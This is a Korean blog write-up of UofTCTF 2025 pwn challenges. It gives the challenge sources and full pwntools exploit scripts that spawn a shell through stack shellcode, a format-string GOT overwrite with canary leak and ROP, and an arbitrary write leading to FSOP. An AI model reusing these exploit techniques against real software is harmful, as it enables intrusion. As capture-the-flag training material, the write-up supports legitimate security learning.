Void
UofTCTF 2025 - Pwn (4/6) 본문
- Baby Pwn (461/1510 Solves)
- Baby Pwn 2 (266/1510 Solves)
- Echo (55/1510 Solves)
- Book Editor (28/1510 Solves)
- Counting Sort (25/1510 Solves)
- Hash Table As a Service (15/1510 Solves)
You can find author's write-up here ↓
https://github.com/UofTCTF/uoftctf-2025-chals-public
GitHub - UofTCTF/uoftctf-2025-chals-public: Challenge handouts, source code, and solutions for UofTCTF 2025
Challenge handouts, source code, and solutions for UofTCTF 2025 - UofTCTF/uoftctf-2025-chals-public
github.com
Baby Pwn (461/1510 Solves)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void secret()
{
printf("Congratulations! Here is your flag: ");
char *argv[] = {"/bin/cat", "flag.txt", NULL};
char *envp[] = {NULL};
execve("/bin/cat", argv, envp);
}
void vulnerable_function()
{
char buffer[64];
printf("Enter some text: ");
fgets(buffer, 128, stdin);
printf("You entered: %s\n", buffer);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the Baby Pwn challenge!\n");
printf("Address of secret: %p\n", secret);
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
bof가 발생한다. vulnerable_function()의 ret에 secret()을 넣어주면 flag를 얻을 수 있다.
from pwn import *
p=process('./baby-pwn')
e=ELF('./baby-pwn')
secret=e.symbols['secret']
p.send(p64(secret)*0x10)
p.interactive()
Baby Pwn 2 (266/1510 Solves)
#include <stdio.h>
#include <string.h>
void vulnerable_function()
{
char buffer[64];
printf("Stack address leak: %p\n", buffer);
printf("Enter some text: ");
fgets(buffer, 128, stdin);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the baby pwn 2 challenge!\n");
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
buf의 주소를 출력해주고 bof가 발생한다. NX가 없기 때문에 buffer에 쉘코드 넣어주고 ret를 buf로 바꾸면 된다.
from pwn import *
context(arch='amd64', os='linux')
p=process('./baby-pwn-2')
p.recvuntil(b'Stack address leak: ')
stack=int(p.recvline()[:-1].decode(), 16)
payload=asm(shellcraft.execve('/bin/sh')).ljust(0x30, b'\x00')+p64(stack)*0x50
p.send(payload)
p.interactive()
Echo (55/1510 Solves)
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
vuln(0LL);
return 0;
}
int vuln()
{
char buf; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, &buf, 0x100uLL);
return printf(&buf);
}
$ checksec chall
[*] '/home/pdw0412/CTF/UofTCTF2025/pwn/Echo/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
fsb, bof가 발생한다. 그런데 카나리때문에 __stack_chk_fail이 호출될 것이다. 하지만 fsb가 발생하고, partial relro이기 때문에 __stack_chk_fail의 got를 main으로 overwrite하면 무한 호출이 가능하다.
pwndbg> x/40gx $rsp
0x7fff21e1daf0: 0x0a007fff21e1db00 0xa5ebf1c3dcb15900
0x7fff21e1db00: 0x00007fff21e1db20 0x00005627fb52c275
0x7fff21e1db10: 0x00007fff21e1dc00 0x0000000021e1dc48
0x7fff21e1db20: 0x00007fff21e1dbc0 0x00007f762c2281ca
read()를 실행한 이후 상태이다. rsp+0x18에 code 주소가 있다. 하위 12bit는 고정이므로 1/16 확률로 저 주소를 got 주소로 변경할 수 있다. 이후 got를 mian으로 변경하면 된다. 이후 'aa'로 카나리 leak, fsb로 libc_base leak한 이후 rop하면 쉘을 얻을 수 있다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
context.log_level='error'
l=ELF('./libc.so.6')
while True :
try :
p=process('./chall', env={'LD_PRELOAD':'./libc.so.6'})
#got overwrite : __stack_chk_fail -> main
payload=b'%4681c%9$hn'.ljust(0x11, b'\x00')+p64(0x4018)[:2]
p.send(payload)
#canary leak
sleep(0.1)
p.send(b'aa')
p.recvuntil(b'aa')
canary=u64(b'\x00'+p.recvn(7))
log('canary', canary)
p.recv()
#libc leak
sleep(0.1)
p.send(b'%39$p\x00')
libc_base=int(p.recv().decode(), 16)-0x24c000
log('libc_base', libc_base)
#rop
ret=libc_base+0x000000000002882f
pop_rdi=libc_base+0x000000000010f75b
system=libc_base+l.symbols['system']
binsh=libc_base+next(l.search(b'/bin/sh'))
payload=b'a'+p64(canary)+p64(1)
payload+=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.send(payload)
p.interactive()
break
except :
try : p.close()
except : pass
Book Editor (28/1510 Solves)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-8h]
int Choice; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
printf("How long will your book be: ");
__isoc99_scanf("%ld", &bookSize);
book = malloc(bookSize);
printf("Contents of the book: ");
read(0, book, bookSize);
v4 = 1;
while ( v4 )
{
menu();
Choice = getChoice();
if ( Choice == 3 )
{
v4 = 0;
}
else
{
if ( Choice > 3 )
goto LABEL_10;
if ( Choice == 1 )
{
editBook();
}
else if ( Choice == 2 )
{
readBook();
}
else
{
LABEL_10:
puts("That is not an option");
}
}
}
return 0;
}
unsigned __int64 editBook()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Where do you want to edit: ");
__isoc99_scanf("%d", &v1);
while ( getchar() != 10 )
;
if ( v1 < bookSize )
{
printf("What do you want to edit: ");
printf("%p", (const void *)(-v1 + bookSize - 1));
read(0, (char *)book + v1, -v1 + bookSize - 1);
}
else
{
printf("Please dont edit ouside of the book.");
}
return v2 - __readfsqword(0x28u);
}
int readBook()
{
return printf("Here is your book: %s\n", (const char *)book);
}
main() 에서 bookSize를 입력받고, 그만큼 malloc() 한다. 여기서 bookSize를 -1로 설정하면 malloc()은 0을 리턴한다. editBook()을 보면, book+v1에 입력을 받는데, book이 0이므로 원하는 곳에 입력을 할 수 있다. 그럼 book주소에 원하는 값을 쓸 수 있고, readBook()에서 *book을 출력하므로 book에 got주소를 넣으면 libc leak을 할 수 있다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
def Edit(address, data) :
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Where do you want to edit: ', str(address).encode())
p.sendafter(b'What do you want to edit: ', data)
def Read() :
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Here is your book: ')
return p.recvline()[:-1]
context(arch='amd64', os='linux')
p=process('./chall', env={'LD_PRELOAD':'./libc.so.6'})
e=ELF('./chall')
l=ELF('./libc.so.6')
book=e.symbols['book']
got_puts=e.got['puts']
p.sendlineafter(b'How long will your book be: ', b'-1')
Edit(book, p64(got_puts))
libc_base=u64(Read()+b'\x00'*2)-l.symbols['puts']
log('libc_base', libc_base)
libc leak을 진행한 이후, 다양한 풀이가 있을 수 있다. libc leak과 동일한 방법으로 environ으로 스택 주소를 leak해 rop를 할 수도 있고, fsop를 할 수도 있다. editBook() 호출 이후 menu()에서 puts가 실행되기 때문에 fsop로 쉘을 얻었다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
def Edit(address, data) :
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Where do you want to edit: ', str(address).encode())
p.sendafter(b'What do you want to edit: ', data)
def Read() :
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Here is your book: ')
return p.recvline()[:-1]
context(arch='amd64', os='linux')
p=process('./chall', env={'LD_PRELOAD':'./libc.so.6'})
e=ELF('./chall')
l=ELF('./libc.so.6')
book=e.symbols['book']
got_puts=e.got['puts']
p.sendlineafter(b'How long will your book be: ', b'-1')
Edit(book, p64(got_puts))
libc_base=u64(Read()+b'\x00'*2)-l.symbols['puts']
log('libc_base', libc_base)
system=libc_base+l.symbols['system']
binsh=libc_base+list(l.search(b'/bin/sh'))[0]
stdout=libc_base+l.symbols['_IO_2_1_stdout_']
stdout_lock=libc_base+0x206000
fake_vtable=libc_base+l.symbols['_IO_wfile_jumps']-0x18
gadget=libc_base+0x00000000001724f0
fsop=FileStructure(0)
fsop.flags=0x0101010101010101
fsop._IO_read_end=system
fsop._IO_save_base=gadget
fsop._IO_write_end=u64(b'/bin/sh\x00')
fsop._lock=stdout_lock
fsop._codecvt=stdout+0xb8
fsop._wide_data=stdout+0x200
fsop.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
Edit(-got_puts+book, p64(stdout-0x10))
Edit(0x10, bytes(fsop))
p.interactive()
Counting Sort (25/1510 Solves)
I didn't solve it yet.
Hash Table As a Service (15/1510 Solves)
I didn't solve it yet.
'CTF' 카테고리의 다른 글
| CCE 2024 Quals | Pwn - Untrusted Compiler (0) | 2025.02.03 |
|---|---|
| YISF 2024 Finals | Pwn - Happy SIGnal (0) | 2025.01.21 |
| Layer7 CTF 2024 (0) | 2025.01.13 |
| 제 5회 JBU-CTF (1) | 2024.12.16 |
| LG U+ Security Hackathon : Growth Security 2024 Quals (0) | 2024.11.17 |